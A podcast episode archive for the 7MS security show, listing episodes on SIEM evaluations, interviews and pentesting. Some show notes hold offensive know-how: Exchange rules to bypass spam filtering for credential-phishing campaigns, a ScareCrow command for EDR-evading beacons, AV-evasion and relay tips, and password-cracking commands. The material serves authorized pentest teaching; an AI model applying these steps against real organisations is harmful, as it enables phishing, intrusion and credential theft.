Alle afleveringen
746 afleveringen, van nieuw naar oud
-
7MS #495: Desperately Seeking a Super SIEM for SMBs - Part 5
17 november 2021 · 40 min
Today we continue our SIEM/SOC evaluation series with a closer look at one particular managed solution and how it fared (very well) against a very hostile environment: the Light Pentest LITE pentesting course! Spoiler alert: this solution was able to detect: Lees meer
RDP from public IPs
Password spraying
Kerberoasting
Mimikatz
Recon net commands
Hash dumping
Hits on a "honey domain admin" account
Users with non-expiring passwords
Hits on the SSH/FTP/HTTP honeypot
-
7MS #494: Interview with Josh Burnham of Liquid Web
10 november 2021 · 45 min
-
7MS #493: 7MOIST - Part 2
4 november 2021 · 7 min
Hey, remember back in episode #357 where we introduced 7MOIST (7 Minutes of IT and Security Tips)? Yeah, me neither :-). Anyway, we're back with the second edition of 7MOIST and have some cool pentesting and general IT tips that will hopefully make your life a little awesome-r: Lees meer
Stuck on a pentest because EDR keeps gobbling your payloads? SharpCradle might just save the day!
CrackMapExec continues to learn new awesome tricks - including a module called slinky that plants hash-grabbing files on shares you have write access to!
Browsing 17 folders deep in Windows Explorer and wish you could just pop a cmd.exe from right there? You can! Just click into the path where you're browsing, type cmd.exe, hit Enter and BOOM! Welcome to a prompt right at that folder!
-
7MS #492: Tales of Pentest Pwnage - Part 29
28 oktober 2021 · 57 min
Hello friends! We're long overdue for a tale of pentest pwnage, and this one is a humdinger! It's actually kind of three tales in one, focusing on pentesting wins using: Lees meer
Manual "open heart surgery" on the root of the Active Directory domain
The new totally rad DHCP poisoning module of Responder
An opportunity to abuse GPOs with SharpGPOAbuse (P.S. we talked about this tool about a year ago in episode 441)
-
7MS #491: Interview with Louis Evans of Arctic Wolf
20 oktober 2021 · 52 min
Today we're joined by Louis Evans of Arctic Wolf to talk about all things cyber insurance, including: Lees meer
History on cyber insurance - who's buying it, what it does and doesn't cover, and when it started to be something you didn't want to leave home without
What are insurance companies asking/demanding of customers before writing a cyber insurance policy?
What basic things organizations can do to reduce malware/ransomware incidents (whether they are considering a cyber insurance policy or not)?
How do I evaluate the various insurance carriers out there and pick a good one?
-
7MS #490: Desperately Seeking a Super SIEM for SMBs - Part 4
13 oktober 2021 · 42 min
Hey friends! Today we're going to recap the SIEM/SOC players we've evaluated so far (Arctic Wolf, Elastic, Sumo Logic, Milton Security) and then talk about a new contender that was brought to our attention: Blumira (not a sponsor, but I'm really digging what I'm seeing/hearing/experiencing thus far)! Lees meer
-
7MS #489: Ping Castle
7 oktober 2021 · 59 min
Today we're talking about Ping Castle (not a sponsor), an awesome tool for enumerating tons of info out of your Active Directory environment and identifying weaknesses, misconfigurations and paths to escalation! It's wonderful for both red and blue teamers. Lees meer
Some of Ping Castle's cool features include being able find:
Kerberoastable and ASREPRoastable users
Plain text passwords lingering in Group Policy Objects
Users with never-expiring passwords
Non-supported versions of Windows
Machines configured with unconstrained delegation
Attack and escalation paths to Domain Admins
-
7MS #488: How to Succeed in Business Without Really Crying - Part 10
29 september 2021 · 43 min
Today we continue our series focused on building a security consultancy and talk about: Lees meer
A phishing campaign that went off the rails, and lessons learned from it
First impressions of an awesome tool to help add MFA to your Active Directory (not a sponsor)
A tangent story about how my wife brought some thieves to justice!
-
7MS #487: Light Pentest eBook Announcement!
28 september 2021 · 7 min
Hey friends! Today I've got some exciting personal/professional news to share: our Light Pentest eBook - which is a practical, step-by-step playbook for internal network penetration testing - is now available for purchase! Lees meer
Note: this eBook and the Light Pentest LITE training are two separate things, but do cover some of the same topics.
The Light Pentest eBook covers:
Grabbing and analyzing packet captures
Abusing insecure network protocols
Exploiting (the lack of) SMB signing
Capturing, cracking and passing hashes
Locating high-value targets with DNS zone transfers
Exploiting vulnerable Group Policy Objects
Scraping screenshots of Web interfaces with WitnessMe
Finding and cracking "Kerberoastable" and "ASREPRoastable" Active Directory accounts
Dumping, passing and cracking hashes from domain controllers
The Light Pentest eBook is available now for $7.77, and by purchasing it you are entitled to all future editions/revisions going forward.
-
7MS #486: Interview with Matt Quammen of Blue Team Alpha
22 september 2021 · 40 min
Today our good buddy Joe Skeen and I virtually sit down with Matt Quammen of Blue Team Alpha to talk about all things incident response! Topics covered include: Lees meer
Top 5 things to do and not do during ransomware event
Challenges when responding to ransomware events
Opportunities to break into infosec/IR
The value of tabletop exercises, and some great ideas for conducting your own
Incident response stress and success stories
Cyber insurance - worth it or not?
-
7MS #485: Interview with Christopher Fielder
15 september 2021 · 53 min
Today our friend Christopher Fielder from Arctic Wolf is back for an interview four-peat! We had a great chat about making sense of vendor alphabet soup terms (like SIEM, SOC, EDR/MDR/XDR, ML, AI and more!), optimizing your SOC to "see" as much as possible, tackling vendor/customer communication problems, and simplifying security product pricing to make purchases less stressful for customers! Lees meer
And don't forget to check out Christopher's first, second and third interviews with 7MS.
-
7MS #484: Desperately Seeking a Super SIEM for SMBs - Part 3
8 september 2021 · 47 min
Today we're continuing our series called Desperately Seeking a Super SIEM for SMBs - this time with a focus on a new contender in our bake-off: Perch Security! Lees meer
It might help you to go back and take in part 1 and part 2, but today we're focusing on the first experience I had chatting with the sales/technical folks at Perch. TLDL: I really liked a lot of things I was hearing and seeing. Pros (perceived) include:
Simple pricing model
Easy to use dashboard
Cool "marketplace" of integrations you can add to your instance and start getting alerts for
Nice API integration that seemed pretty simple to use - and that covers a lot of different cloud products and services
Ticket dashboard looked straightfoward to use and interpret
Can quickly add IPs/subnets that you don't want to monitor, if appropriate
-
7MS #483: Desperately Seeking a Super SIEM for SMBs - Part 2
2 september 2021 · 44 min
Today we continue our series we started recently (part 1 is here about finding a super SIEM for SMBs. Specifically I have some updates on (and frustrations with) Arctic Wolf, Elastic, Milton Security and Perch Security. Lees meer
Here's the TLDL version:
Arctic Wolf
They remain a strong contender in my bake-offs. They also could tick several boxes for an org as they offer continuous internal/external vulnerability scanning as well as a managed SOC. (And yes, I'm probably a tiny bit biased because I know a bunch of AWN's engineers and like the product)Elastic
I've loved my interactions with the sales folks and engineers at Elastic. My initial trial had some technical speed bumps (which Elastic helped me remedy). I eventually did get some Elastic agents enrolled on endpoints in my lab. However, now that I'm up and running (and admittedly I should go through the Webinars and online training), I'm feeling overwhelmed. There's a jillion menus and submenus to explore. I feel like I've been given a high-performance sports car but completely lack the knowledge on how to make the most of it. I'll keep Elastic in my back pocket, but I don't think I can feel comfortable handing this dashboard over to a SMB IT/security staff and have them run with it.Milton Security
A few weeks ago I had my first ever sales call with this group, and liked a lot of what I heard. They're up front about being a threat-hunt-as-a-service organization and they're not looking to partner with just any customer. The way they bundle sources of data (for the sake of pricing) makes sense to me, and although I haven't seen a formal quote from them yet, I think they will be reasonably priced when compared to some of the "big box" solutions.Perch Security
After part 1 of this series, several of you pinged me and said to check out Perch Security. I'm very excited to connect with them but had a tough time getting someone to respond to my inquires (two weeks to be exact). Good news is I've got a call scheduled wi… -
7MS #482: Creating Kick-Butt Credential-Capturing Phishing Campaigns - Part 3
26 augustus 2021 · 13 min
Today we're continuing our discussion on phishing campaigns - including a technical "gotcha" that might redirect your phishing emails into a digital black hole if you're not careful! Lees meer
As I mentioned last week, I've been heavy into spinning up and tearing down phishing campaigns, so I finally got around to documenting everything in episode 481.
This week I ran into a bizarre issue where test phishes to myself suddenly disappeared from my Outlook altogether! After chatting with some folks on Slack I did a message trace in the Exchange Admin Center under:
Mail flow > Message Trace > Start a trace then make the Sender field be the user you're sending phishing emails from. That showed me that my phishes were being quarantined!
To get around the quarantine, I went into Mail flow > Rules and then created a new rule with the following properties:
Apply this rule if > The sender's domain is > yourphishingdomain.com
Then under Do the following:
Set the spam confidence level (SCL) to...Bypass spam filtering
Under And, click the drop-down and choose:
Modify the message properties...set a message header...X-MS-Exchange-Organization-BypassClutter
Then click where it says Enter text and change header value to True and click OK.
-
7MS #481: Creating Kick-Butt Credential-Capturing Phishing Campaigns - Part 2
19 augustus 2021 · 27 min
Today we're revisiting how to make a kick-butt cred-capturing phishing campaign with Gophish, Amazon Lightsail, LetsEncrypt, ExpiredDomains.net and a special little extra something that makes creating phishing landing pages waaaaaaayyyyyyyyyy easier! Lees meer
For some quicker review, you can check out part 1 and also the complementary YouTube video, but I wanted to revisit this kick-butt process and update a few items:
First, this SingleFile extension is amaaaaaaaazing for making phishing landing pages with ease!
The process to get GApps to let you generate an app-specific password for using with GoPhish is kinda annoying. The steps below should get you going:
After domain registration, log into admin.google.com or click Manage Workspace button at checkout.
At the next screen click Workspace Admin Console. Sign in with the person you'll be spoofing from, and the temporary password emailed to your backup email account during checkout.
In the search bar search for Less Secure Apps, choose Allow users to manage their access to less secure apps.
Now, in the upper right, hit Manage Your Google Account.
Under Security, click Protect your account and click Add phone number. Finish that process, then click Continue to your Google account.
Back at the main admin page, under Less secure app access, click Turn on access (not recommended).
At the next screen click Allow less secure apps: ON
Back at the main screen, click 2-Step Verification and set it to On.
Back at the main screen again, a new option called App passwords should be there. Click it. Choose to generate a custom name like LOL and then then an app password will appear. Write it down as it only appears once!
Finally, a quick reference for getting your LetsEncrypt cert to work with GoPhish. Get your LetsEncrypt cert generated, and then forge a .crt and .key file to use with GoPhish:
cp /etc/letsencrypt/live/YOUR-DOMAIN/fullchain.pem ./domain.crt cp /etc/letsencrypt/live/YOUR-DOMAIN/privkey.pem ./domain.key
Now…
-
7MS #480: Desperately Seeking a Super SIEM for SMBs
12 augustus 2021 · 49 min
Today we're talking about the SIEM bake-off for SMBs that we've recently embarked on. We're currently evaluating several solutions - either for customer-facing purposes, internal kick-the-tires fun, or both. Lees meer
Candiates include:
Arctic Wolf
Elastic
Milton Security
Protocol46
Sumo Logic
First we're starting by running each vendor through a series of questions, then likely following up with a demo where we'll run some technical tests and simulated hacking to see which vendor or vendors reign supreme!
-
7MS #479: A Prelude to PwnTown
6 augustus 2021 · 7 min
Hey friends, today we're talking about a new security training offering 7MinSec has created called Light Pentest LITE - Live Interactive Training Experience. It's a 3-day course (with each class session being 3 hours long) consisting of live (via Zoom), hands-on, instructor-led sessions that are focused on teaching you how to find, exploit and defend against common Active Directory weaknesses! Lees meer
Check out today's episode to learn more and get a hint for an OSINT exercise that will get you 10% off of a Light Pentest LITE training session!
-
7MS #478: Password Cracking in the Cloud - Part 4
29 juli 2021 · 37 min
Hey friends, today we're continuing our discussion of password cracking by sharing some methodology that has helped us get a high cred yield, and some tips on taking cracked passwords from multiple sources and Frankensteining them into a beautiful report for your customer. Lees meer
For some background, when 7MS started as a biz, we used to crack passwords in Paperspace but invested in an on-prem cracking rig a few years ago. That rig has been flipping sweet, but had some heating issues which prompted me to send the system in for warranty and use an awesome cracking rig in AWS in the meantime.
Whether you're cracking locally or in the cloud, here's a quick methodology that has cracked many a hash for us:
Do a straight-up hashcat crack against the PwnedPasswords list (at time of this writing I don't have a good source for the cracked versions of these passwords. I used to grab them at hashes.org. Anybody got an alternative?
Do a straight-up hashcat crack through the RockYou2021 list
Run the hatecrack methodology, including the quick crack, the quick crack with rules (I'm partial to OneRuleToRuleThemAll), and brute-forcing all 1-8 character passwords
Once I'm ready to wrap up all the cracked passwords and put them in a nice shiny report for the customer, I do the following (using hashcombiner and pipal):
# Run hash_combiner on hashcat's pot file and write results to a file python /opt/hc/hash_combiner.py user_hash /opt/hashcat/hashcat.potfile > /tmp/round1.txt # Run hash_combiner on hatecrack's pot file and write results to a file python /opt/hc/hash_combiner.py user_hash /opt/hatecrack/hashcat.pot > /tmp/round2.txt # Cat the two files together into a third file cat /tmp/round1.txt /tmp/round2.txt > /tmp/round3.txt # Sort and de-dupe the third file cat /tmp/round3.txt | sort -uf > /tmp/nice-and-clean.txt # Take just the passwords out of the "nice and clean" output cut -d ':' -f 2 /tmp/nice-and-clean.txt > /tmp/pipal-temp.txt # Score the passwords using pipal /opt/pipal/…
-
7MS #477: Cobalt Strike for Newbs
21 juli 2021 · 38 min
Today we're talking about Cobalt Strike for newbs - including how to get it up and running, as well as some tools that will help you generate beacons while evading EDR at the same time! Lees meer
Some helpful things mentioned in today's episode:
Wherever you spin up your CS instance, it's probably a good idea to lock down the firewall to only specific IPs. With Digital Ocean, I found this article helpful.
When generating CS listeners, the C2Concealer from FortyNorth helped me get malleable C2 profiles generated while creating a LetsEncrypt cert at the same time!
My CS beacons kept getting gobbled by AV, but the following resources helped me get some stealthy ones generated: Artifact Kit, PEzor and ScareCrow. Here's a specific ScareCrow example that flew under the EDR radar:
Scarecrow -I myrawshellcode.bin -etw -domain www.microsoft.com
PowerUpSQL is awesome for finding servers where you can run stored procedures to send your attacking box a priv'd hash to pass/capture/crack. Check out this presentation on PowerUpSQL to find vulnerable targets, then use mssql_ntlm_stealer module in Metasploit to have fun with the account hashes. Be sure to set your domain when configuring the Metasploit module!
When trying to pop an SMB shell with relay tools, I've had problems recently with those attempts being stopped by defensive tools. Then I found this gem which talks about tweaking smbexec.py to evade AV. It worked a treat!
When you use MultiRelay, I had no idea that it includes an upload function so you can simply upload your beacon.exe from a SYSTEM shell and fire it right from a command line. Cool!
Once my beacons started firing around the pentest environment, I temporarily allowed all IPs to talk to my Digital Ocean box - just because the IP I grabbed from a "what is my IP?" Google search didn't always match the actual beacons that called home. Once the beacon connectivity was established, I tweaked the beacon firewall rules to just let certain IPs in the door.
This Cobalt…
-
7MS #476: Tales of Pentest Pwnage - Part 28
16 juli 2021 · 26 min
**STOP!** If you didn't listen to [last week's episode](https://7ms.us/7ms-475-tales-of-internal-network-pentest-pwnage-part-27/) you might want to, since this was a two-part tale of pwnage. Either way I'll get you up to speed and talk about why this was (of course) one of my favorite pentests ever. Lees meer
-
7MS #475: Tales of Internal Network Pentest Pwnage - Part 27
8 juli 2021 · 56 min
Yeahhhhhh! Today's another fun tale of pentest pwnage, including: Lees meer
The importance of starting your pentest with an AD account that actually has access to...ya know...stuff
The importance of starting your pentest plugged into a network that actually has...you know...systems connected to it!
This BHIS article is awesome for finding treasures in SMB shares
PowerUpSQL audits are a powerful way to get pwnage on a pentest - check out this presentation for some practical how-to advice
IPMI/BMCs often have weak creds and/or auth bypasses so don't forget to check for them. Rapid7 has a slick blog on the topic.
Don't forget to check for vulnerable VMWare versions because some of them have major vulnerabilities
-
7MS #474: Password Cracking in the Cloud - Part 3
1 juli 2021 · 46 min
Hey friends! Today we're dusting off an old mini-series about password cracking in the cloud (check out part 1 and part 2) and sharing some awesome info on building a monster of a cracking rig in AWS! Lees meer
One reason we haven't talked about password cracking in the cloud in a while is because back in winter of 2019 I built baby's first password cracking. Unfortunately, this week, Hashy (the name I gave to the rig) is overheating, and GPUs are impossible to find, so what's a pentester to do?
Well, in today's episode I talk about this article from Sevnx which walks you through building a virtual password-cracking beast in the cloud. The article (complemented by a sweet video) will get you running in short order.
WARNING: running this instance is super expensive (the author warns the instance would cost ~$9k/month if you left it run continuously).
The steps are pretty straightforward, but between reboots I found that hashcat acted all wonky. Luckily, the article addresses that with this great tip:
Pro tip: Save the Cuda download somewhere. If you ever turn your cracker off and get errors running hashcat when you turn it back on, re-run the install line. We think AWS sometimes refreshes the drivers or something and hashcat doesn't like it very much.
If you need help installing one of my fave tools, hatecrack check out my password cracking in the cloud gist. Also, our buddy Joe pointed me towards a utility called duplicut to help de-dupe large password-cracking wordlists.
Once the AWS instance is setup, what kind of stats do we get out of this demon? Here's the result of hashcat -b:
Hashmode: 0 - MD5 Speed.#1.........: 55936.1 MH/s (47.79ms) @ Accel:32 Loops:1024 Thr:1024 Vec:8 Speed.#2.........: 55771.4 MH/s (47.94ms) @ Accel:32 Loops:1024 Thr:1024 Vec:8 Speed.#3.........: 55827.0 MH/s (47.88ms) @ Accel:32 Loops:1024 Thr:1024 Vec:8 Speed.#4.........: 55957.7 MH/s (47.78ms) @ Accel:32 Loops:1024 Thr:1024 Vec:8 Speed.#*.........: 223.5 GH/s Hashmode: 100 - SHA1 Speed.…
-
7MS #473: Interview with Nikhil Mittal
24 juni 2021 · 51 min
Hey everybody! Today Joe and I sat down with Nikhil Mittal of Pentester Academy and Altered Security to talk about a whole slew of fun security topics: Lees meer
How Nikhil first got involved in Pentester Academy
Nikhil's hacker origin story
How does Nikhil feel about his tools being used by baddies?
What security tools/defenses would be good for SMBs to focus on?
Active Directory security - is all hope lost?
Will AI, ML, Terminator robots, etc. replace all of us who do pentesting for a living?
-
7MS #473: Interview with Nikhil Mittal
24 juni 2021 · 51 min
Hey everybody! Today Joe and I sat down with Nikhil Mittal of Pentester Academy and Altered Security to talk about a whole slew of fun security topics: Lees meer
How Nikhil first got involved in Pentester Academy
Nikhil's hacker origin story
How does Nikhil feel about his tools being used by baddies?
What security tools/defenses would be good for SMBs to focus on?
Active Directory security - is all hope lost?
Will AI, ML, Terminator robots, etc. replace all of us who do pentesting for a living?
-
7MS #472: Interview with Christopher Fielder
16 juni 2021 · 52 min
Today our good pal Christopher Fielder from Arctic Wolf is back for an interview three-peat! He joins Joe "The Machine" Skeen (a.k.a. Gh0sthax) and I to talk about all things ransomware, including: Lees meer
How the Colonial Pipeline incident may have started from a weak VPN cred with no MFA. Silver lining (?) - they got some of the $ back.
Was the federal government's response good enough? What should the government be doing to better handle and manage ransomware?
Common ways ransomware gets in our environments, and some ways to NOT get ransomware'd:
Use 2FA (make sure that all accounts are using it!)
Consider having (if possible) your AD user scheme be something like chi-user4920394 instead of Joe.President
Have users that haven't logged in for X days get automatically locked out
Train your users - consider Arctic Wolf's managed security awareness offering
Detect early signs of compromise like Kerberoasting
Lock down your DNS egress to only specific servers so that it doesn't run "wide open"
Leverage good threat intel
-
7MS #471: Cyber News - Ransomware Should Run Somewhere Edition
10 juni 2021 · 1 uur 2 min
Hey everybody, happy June! Our pal Joe is back to cover some great security stories with us, including: Lees meer
Peloton's leaky API
Some Colonial Pipeline discussion (story 1, story 2)
Amazon Sidewalk doesn't really share your Internet connection with neighbors/strangers. The Hacker News article doesn't do an awesome job of clearing that up either.
-
7MS #470: First Impressions of Meraki Networking Gear
2 juni 2021 · 37 min
Today we're doing something new - a first impressions episode of Meraki networking gear. Note: this is not a sponsored episode, but rather a follow up to episode #460 where I talked about throwing all my UniFi gear into the ocean and replacing it with Meraki gear. At the end of that episode I asked if anybody was interested in a "first impressions" of the gear, and it turns out (at least 6) people are interested, so here we are! TLDL: Lees meer
Pros
Super easy plug-and-play setup
The mobile app can control just about everything - ports, SSIDs, Internet on/off timers and more!
Verbose logging
Top-notch support from experienced technicians
Cons
Cost! Big $$$
"Cloud only" - can't install this gear in a LAN-only configuration
Client VPN is a bit clunky to setup
-
7MS #469: Interview with Philippe Humeau of CrowdSec
27 mei 2021 · 48 min
Hey friends! Today we're talking with Philippe Humeau, CEO of CrowdSec, which is "an open-source massively multiplayer firewall able to analyze visitor behavior & provide an adapted response to all kinds of attacks. It also leverages the crowd power to generate a global IP reputation database to protect the user network." Lees meer
I came into this interview not knowing much at all about CrowdSec, so I peppered Philippe with questions such as:
What is CrowdSec?
What problem does it solve?
Who are your competitors?
You're open source...so how do you make $? What's your five-year plan?
You're dealing with a lot of data and metrics...how are you handling data privacy laws and concerns such as GDPR?
What if I fall in love with CrowdSec and want to contribute to making it better?
It was a really fun, transparent and energetic interview - hope you enjoy it!
-
7MS #468: Eating the Security Dog Food - Part 3
20 mei 2021 · 25 min
Today we continue the series on eating your own security dog food! Specifically, we talk about: Lees meer
Keeping a log and procedure for sanitizing systems
Keeping a log and procedure for provisioning systems
A big "gotcha" to be aware of when using Windows system dropboxes - make sure your Windows user account doesn't expire, because Splashtop doesn't have any way to update it! To prevent this, set the account not to expire:
wmic useraccount where "Name='LocalAdminAccount'" set PasswordExpires=false
If you want more tips on building pentest dropboxes, check out this series
Oh, and today's song that I sang obnoxiously is If I Were a Dog.
-
7MS #467: How to Succeed in Business Without Really Crying - Part 9
12 mei 2021 · 56 min
Hey everybody! I stayed in a hotel for the first time in over a year and boy oh boy...I hope I didn't get COVID from the bedsheets! Lees meer
Anyhow, on that journey I thought of some things that I think will help your business on the marketing/project management/sales side to be more successful and less annoying. DISCLAIMER: I have no formal training in these areas, but I've been on both sides of the table for a number of years, and I think I'm getting a better idea of what clients do and don't like during the sales process. These things include:
Reduce layers of people complexity - don't have 17 of your people on the client intro/pitch call and then ghost them once they actually want to buy something!
Keep project management just complicated enough - I like project management tools and spreadsheet task-trackers like Smartsheet but I'm trying to let the client lead as far as how much detail they need when tracking their projects. By default, we create a document with a high level map of project milestones, timelines and key contact information. We update that as often as the client likes.
Personalize responses to Web leads - if you have an info@ or sales@ address for your business, I think you should personalize the response you give folks who write in. They wrote you for a reason! Don't just copy/paste some generic "Hey you wanted info about our company so here it is blah blah blah" response, that doesn't make people feel like you give a rip about their needs. Think of something personal to say in the reply. "Oh, I see you're in Minnesota. I'm a big Twins fan!" Something like that. Simple, easy and personal.
Don't sign people up for junk without asking - in this episode I give an example of a vendor we looked at (but didn't select) for some services, and the company decided to automatically sign ups up for a bunch of electronic and paper mailings. That's super annoying!
Don't stink at LinkedIn - in the last episode of this series, I told you about a guy who (to me) w…
-
7MS #466: Attacking and Defending Azure AD Cloud (CARTP)
5 mei 2021 · 1 uur 1 min
Welp, I need another security certification like I needed a bunch to the retinas, but even after all the fun (and pain) of CRTP I couldn't help but sign up for the maiden voyage of Attacking and Defending Azure AD Cloud - a.k.a. CARTP. This cert comes to us from our friends over at Pentester Academy, and is all about pwning things in Azure AD which is mostly new ground for me. Lees meer
I this episode I talk about some of the TTPs covered in week 1 of this course, as well as:
Likes:
Courses offered on Saturday (I'm usually pooped for these sessions, but it's easier than taking time during the work week)
Student portal - and especially the student guide! - is more polished, easy to read, and easy to copy/paste from.
Dislikes:
On Saturdays I'm a sleepy Brian. :-)
I still wish the course was designed such that we would go through various hands-on-keyboard exercises with the instructor, not just watch.
Use of Discord as main comms channel - it causes anxiety for me...too many blips and bloops and blurps with all the notifications. It's also frustrating that the instructor takes questions from Discord sometimes without repeating the question, thus making it hard to figure out what everybody was talking about if I watch the Zoom reply.
-
7MS #465: Cyber News - The FBI Might Be Getting Into the IR Biz Edition
28 april 2021 · 53 min
Hey friends! Today Joe "The Machine" Skeen (a.k.a. Gh0sthax) and I talk about some of our favorite news stories, including: Lees meer
FBI removes hacker back doors
NSA: 5 security bugs under active nation-state cyberattack
Ubiquiti is accused of covering up a 'catastrophic' data breach — and it's not denying it. On a side note, enjoy our podcast about how we lost our love for Ubiquiti a while back: 7MS #460: Why I'm Throwing My UniFi Gear Into the Ocean
Codecov users warned after backdoor discovered in devops tool
-
7MS #464: Interview with Christopher Fielder of Arctic Wolf
22 april 2021 · 51 min
Today our friend Christopher Fielder of Arctic Wolf joins us on the show again (check out his first appearance in episode #444 - this time to talk about the security journey, and how to start out in your "security diapers" and mature towards a stronger infosec program. Specifically, we talk about: Lees meer
When the company has one person in charge of IT/security, how can you start taking security seriously without burning this person out? First, it's probably a good idea to take note of what you have as far as people, tools and technology to help you meet your security goals.
Early in this process, you should inventory what you have (see CIS controls) so you know what you need to protect. A few tools to help you get started:
Nmap
Rumble
LanSweeper
Witnessme
As you go about any phase of your security journey, don't ever think "I'm good, I'm secure!"
Quarterly/yearly vulnerability scans just won't cut it in today's threat landscape - especially your external network. Consider scanning it nightly to catch show-stoppers like Hafnium early)
Limiting administrative privileges is SUPER important - but don't take our word for it, check out this report from Beyond Trust for some important stats like "...enforcing least privilege and removing admin rights eliminates 56% of critical Microsoft vulnerabilities."
Install LAPS, because if an attacker gets local admin access everywhere, that's in many ways just as good as Domain Admin!
Train your users on relevant security topics. Then train them again. Then....again. And after that? Again.
There are many ways to conduct tabletop exercises. They don't have to be crazy technical. Start with the internal tech teams, practice some scenarios and get everybody loosened up. Then add the executives to those meetings so that everybody is more at ease.
How do you know when it's time to ask for help from an outside security resource?
Not sure what kind of shape your company's security posture is in? Check out Arctic Wolf's free securit…
-
7MS #463: DIY Pentest Dropbox Tips - Part 5
14 april 2021 · 38 min
In the last two episodes of this series (#449 and #450) we've been diving into how to not only speed up the process of spinning up a DIY pentest dropbox, but how to automate nearly the entire build process! Lees meer
In today's episode we talk specifically about how to streamline the Windows 10 build process. As previously mentioned, this article is awesome for creating a core Win 10 answer file that will format C:, setup a local admin, login once to the configured desktop and then do whatever things you want it to do. Personally, I like having a single batch file get fired off that:
Sets the timezone with tzutil /s "Central Standard Time"
Stops the VM from falling asleep with powercfg.exe -change -standby-timeout-ac 0
Grabs and runs a PS file that does a ton of downloading and unzipping of files with:
invoke-webrequest https://somesite/somefile.zip -outfile c:\somewhere\somefile.zip expand-archive c:\somewhere\somefile.zip -destinationpath "c:\somewhere\extracted\"
Installs Windows updates with:
Install-PackageProvider -name nuget -force Install-Module PSWindowsUpdate -force Import-Module PSWindowsUpdate Get-WindowsUpdate Install-WindowsUpdate -AcceptAll -IgnoreReboot
Sets a new name for the machine:
Write-Host "Picking a new name for this machine...you'll need to provide your admin pw to do so" Rename-Computer -LocalCredential administrator -PassThru Write-Host "New name accepted!"
Does a set of actions depending on the IP range with this code (which sets the IP address to a variable and then does stuff if the machine sits in that subnet):
$ip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1] f ($ip -like "192.168.0.*") { Invoke-Webrequest https://somesite/somefile.ps1 -OutFile c:\someplace\somefile.ps1 }
Also, I talk in this episode about how I try to host these "seed" files as securely as possible using Amazon Lightsail instances, the built-in firewall, and LetsEncrypt.
-
7MS #462: Pentesting with the Hak5 Key Croc
7 april 2021 · 38 min
Today we talk through our first engagement using Hak5 Key Croc to steal and exfil data. In the past, my internal monologue when a new Hak5 toy is released sounds like this: Lees meer
"I certainly don't need another Hak5 doo-dad! The last one didn't ever work that great, and ended up in a drawer full of past Hak5 doo-dads that didn't work that great."
"Whaaaaat? A new cool and hip video for the INSERT_CATCHY_HAK5_TOOL_NAME is out? Pffft. I don't need that."
5 seconds go by...
"Well it's just $100, shut up and take my money!"
"It came in the mail today! It has a cool envelope and everything!"
"Hrm, I followed the quick start video and 3 of the 10 steps don't work for me. I'll hit the forums. Huh, everybody seems to be having this problem.
5 days go by...
"Neat! With a little help from SassyGal67 and StarWarsFreak_XXL on the forums, I hacked together my own fix for these issues. Now the core functionality of the device works, but the GUI is totally broken and you have to factory reset it with every use. Cool!"
Deep breath. Tosses doo-dad in a drawer full of past Hak5 doo-dads that didn't work that great.
So with all that said, was our experience with the Key Croc any different? Check out today's episode to find out!
-
7MS #461: Tales of Internal Network Pentest Pwnage - Part 26
31 maart 2021 · 48 min
OK I probably say this every time, but I'm gonna say it again: this tale of pwnage is my one of my favs - and not because of the tools/tradecraft, but because of why the company needed our help in the first place. I think I'd file this under the category of "rescue and recovery mission" more than a pentest, but it was a total blast. Lees meer
I also cover a few tangents, including how COVID shot #2 gave me nightmares about leprechauns and indirectly caused me to de-pants in front of a large Webinar audience.
-
7MS #460: Why I'm Throwing My UniFi Gear Into the Ocean
24 maart 2021 · 41 min
Hey friends! Warning: this is not a "typical" 7MS episode where we try hard to deliver some level of security value. Lees meer
Instead, today is a big, fat, crybaby, first-world problems whine-fest about how I used to love my UniFi gear for many years, but then a few weeks ago I hit unhealthy levels of rage while working with it...and subsequently completely ripped it all out of the wall and threw it in a plastic bin.
Let me say it one more time: if you don't like rants of rage, skip this episode and we'll see you next week!. If you want to hang in for this clown show, you'll be treated to some of the following highlights:
How I did not pirate Boson NetSim
How I fell in love with the Edge Router X as an up-and-coming network guru
The schedule isn't up, but I'm speaking at Secure360 this year!
My shiny new Dream Machine had a really fun issue where one morning Internet service was dead (even though config hadn't changed in weeks), and restoring the SAME config over the RUNNING config fixed the issue. Whaaahhhh?
The Dream Machine GUI (at the time) doesn't have all the options one might need to stand up a site to site VPN. Neat.
After a firmware update, my wifi started going down from 8:00 a.m. - 8:07 a.m. every morning. Were one of you hacking me? WERE ONE OF YOU HACKING ME!
Once I got a BeaconHD, I got a new fun issue where if you were connected to it and submitted a wifi voucher, the Beacon wouldn't properly recognize it and let you on the Internet until about 5 minutes later. Guests loved that! And by "loved that" I mean "hated that."
After upgrading UDM firmware again, a new nifty issue popped its head up which broke all my inter-VLAN rules. Yay!
I threw hundreds of dollars at new UniFi switches and access points to solve all these problems, and everything worked perfectly (until it didn't).
-
7MS #459: Cyber News - Microsoft Exchange Makes the World Cry Edition
17 maart 2021 · 1 uur 3 min
Happy mid-March! Our good pal Gh0sthax joins us today for another hot dish of cyber news! Stories include: Lees meer
Microsoft Exchange cyber attack - Hacker News has a nice what we know so far story, but things have evolved really fast, so make sure you check Microsoft's primary advisory, the script to run on local servers and newer updates such as the recent one-click remediation for unsupported Exchange versions
SonicWall zero day - yuck, looks like the SonicWall troubles we talked about recently were a true zero day. In contrast to the Exchange story, it looks like SonicWall's official response offers (frighteningly?) little by way of logs and forensics to tell if you were truly popped. Either way, be sure to patch!
Hackers attempt to contaminate Florida town's water supply - the story itself is interesting, but the way it got picked up by some outlets seems to send the message of "TeamViewer = bad" but we think the true lessons learned here are:
Out of date and/or unsupported OS = bad
Weak credentials = bad
Connecting this type of equipment directly to the Internet instead of MFA + VPN = bad
CISA has a great breakdown of this incident as well.
Webshell use has doubled since last year - this article brings back some happy/frustrating OSCP experiences. To better protect your org from being pwned with Web shells, check out NSA's list of vulnerabilities commonly exploited to plant web shells
Some great feedback from the last cyber news episode - a podcast listener offered a different take on the "sudo bug that gives root access story" that we discussed last month.
-
7MS #458: Interview with Tanya Janca
11 maart 2021 · 59 min
Today we're super excited to share a featured interview with Tanya Janca of WeHackPurple! Lees meer
Tanya has been in software development from the moment she was of legal age to work in Canada - beginning by working with some huge companies (Nokia/Adobe) before falling in love with application security and eventually starting a company of her own. Gh0sthax and I sat down with Tanya over Zoom to discuss:
How to overcome your fears and present at conferences, write blog posts and even start your own company!
How to deal with online jackwagons who troll you online at conferences
The importance of finding a mentor and mentoring others
Also, here are a bunch of handy links and hashtags Tanya shares throughout the interview:
